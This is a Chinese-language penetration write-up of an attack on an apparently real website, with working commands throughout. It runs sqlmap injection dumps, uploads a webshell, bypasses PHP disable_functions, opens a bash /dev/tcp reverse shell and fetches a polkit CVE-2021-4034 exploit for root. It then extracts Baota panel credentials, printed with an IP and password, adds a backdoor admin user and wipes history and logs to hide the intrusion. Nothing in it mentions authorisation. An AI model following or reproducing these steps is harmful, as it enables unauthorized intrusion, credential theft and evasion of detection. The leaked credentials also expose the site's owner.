一次平平无奇的渗透

0x01 SQL注入

通过dirsearch进行目录扫描

image-20220509101846258

发现一个用户后台

image-20220509102120944

发现存在一个管理后台

image-20220508214356086

一堆常规操作,发现在账号处存在SQL注入

image-20220508214441163

SQLMAP一把梭哈

python C:\Tools\sqlmap\sqlmap.py -r C:\Users\admin\xxx.req --force-ssl --risk=3 --level=3 --batch

image-20220508214512661

当前数据库:wx_vdouya_cn

| draw_edit          |
| draw_list          |
| draw_root          |
| draw_set           |
| draw_user          |

获取draw_root表中的数据

python C:\Tools\sqlmap\sqlmap.py -r C:\Users\admin\xxx.req --force-ssl --risk=3 --level=3 --batch -D wx_vdouya_cn -T draw_root --dump

image-20220508214637353

可破解出md5的密码

image-20220508214722887

可成功登陆后台

image-20220508230700334

在后台这里还有一个接口存在注入

https://IP/adminroot/center.php?username=xxx

image-20220508214835494

后台的功能点少得可怜,再次注入找个用户登录一下

python C:\Tools\sqlmap\sqlmap.py -r C:\Users\admin\xxx.req --force-ssl --risk=3 --level=3 --batch -D wx_vdouya_cn -T draw_user --dump

image-20220508231058133

用户的用户名密码

qixi:qixi

0X02 文件上传

image-20220508215051102

通过上述图片上的任意一个接口均可上传webshell,抓包修改以下两处,即可上传webshell

image-20220508215200656

拼接最后的webshell地址:https://IP/am/upload/2205/62769b6134fa6.php,通过蚁剑进行连接

网站路径:/www/wwwroot/XXXXX

上传路径:/www/wwwroot/XXXXX/am/upload/2205/

查找数据库的连接信息

image-20220508215335313

mysql://XXXXX:XXXX@127.0.0.1:3306/XXXXX

image-20220508215439329

无法执行命令

image-20220508215507484

0x03 绕过disable_functions

通过phpinfo查看禁用的函数

image-20220508215750218

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

过滤得还挺多的,发现有fpm,再看看当前收集到的信息,服务器是Linux的,服务器中的PHP是用FPM/FastCGI的连接模式启动,当前目录可写

image-20220508215832974

这里直接使用蚁剑的bypass_disable_functions的插件

image-20220508215937338

其实该方法的原理大致就是:php 是一门动态语言,但nginx 是无法处理这些的,所以中间还有个fastcgi 协议在牵线搭桥,可类比HTTP 协议,nginx 将接受到的客户端请求转换成 fastcgi 协议格式的数据,而 php 模块中的php-fpm 就是用来处理这些 fastcgi 协议数据的,然后再传给 php 解释器去处理,完成后结果数据又以之前同样的路径返回到浏览器客户端;所以一般在 Linux 服务器上启动 php 程序,都会启动一个叫 php-fpm 的服务,一般会监听本机的9000 端口,或者套接字文件,nginx 的配置文件 fastcgi 访问地址也配成这个端口或文件,这些都是为了完成上述通信过程;程;

根据插件的信息,需要填写FPM/FCGI 地址、启动的WebServer根目录

image.png

配置以下信息

image-20220508220018374

直接执行

image-20220508220100625

访问根当前目录下的下的.antproxy.php,密码不变

image-20220508220156111

成功执行命令

image-20220508220229510

直接反弹shell

攻击机:
nc -lvvp 8088


目标机器:
bash -i >& /dev/tcp/IP/8088 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20220508220512333

history和进程里没东西,那么还是隐藏一下命令痕迹先

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

查看内核版本

image.png

0x04 提权

查看polkit版本

rpm -qa polkit

image.png

发现是存在漏洞的版本,那就好办了,直接使用exp进行提权 https://github.com/arthepsy/CVE-2021-4034

wget https://ghproxy.com/https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc

image.png

由于使用了宝塔,拿到root权限之后,先查看一下宝塔的默认密码

bt default

image-20220508220551419

Bt-Panel-URL: http://123.207.246.129:8889/28031524
username: zhouzhengyuan87
password: XHPbayVI04fQ

也可以查看/www/server/panel/data查询网站的后台路径

发现默认密码已经被修改了

image-20220508220617707

既然你无情就别怪我无意,都拿到了root权限,想登陆宝塔这不轻轻松松。有了后台,剩下的就是寻找密码了,宝塔后台账号密码默认存放在default.db数据库的users表中,将宝塔的default.db文件复制到可访问的路径

cp /www/server/panel/data/default.db /tmp/xxxx
chmod 7777 /tmp/xxxx

将default.db下载到本地,使用Navicat打开,在user表中找到用户的密码,不过密码是加盐的,md5是解不开了

zhouzhengyuan87
042be06ecc960bacb854661888bc6acd

image-20220508220644147

直接新增一个用户,用SQL语句添加一个

INSERT INTO "main"."users" ("id", "username", "password", "login_ip", "login_time", "phone", "email", "salt") VALUES (1, 'txqosxze', '2796531e254a600c3a91a2d05e886846', '192.168.0.10', '2016-12-10 15:12:56', '0', 'test@message.com', '2YwPJFoXwQSr');

image-20220508221802259

切记,一定要将原先的default.db文件进行备份,在将修改后的default.db文件替换掉

成功使用新的用户名密码进行登录 用户名:txqosxze 密码:123456

image-20220508221844362

image-20220508221932173

记得清理痕迹,由于我登录过宝塔,宝塔记录了我的登录记录,所以将logs目录下的日志都清除

cd /www/server/panel/logs

echo > /www/server/panel/logs/access.log
echo > /www/server/panel/logs/certbot.log
echo > /www/server/panel/logs/error.log
echo > /www/server/panel/logs/ipfilter.log
echo > /www/server/panel/logs/ipfilter.pid
echo > /www/server/panel/logs/letsencrypt.log
echo > /www/server/panel/logs/panel.pid
echo > /www/server/panel/logs/request
echo > /www/server/panel/logs/task.log
echo > /www/server/panel/logs/task.pid
echo > /www/server/panel/logs/terminal.log

还有网站日志,毕竟你搞别人了,屁股要擦干净

tail -n 20  xxxxx.log

sed -i '/IP/d' /www/wwwlogs/xxxxxx.log
sed -i '/IP/d' /www/wwwlogs/xxxxx.log

还有反弹shell,在进程中会存在,通过ps -aux查看进程,将反弹shell的进程、提权的进程都kill掉等等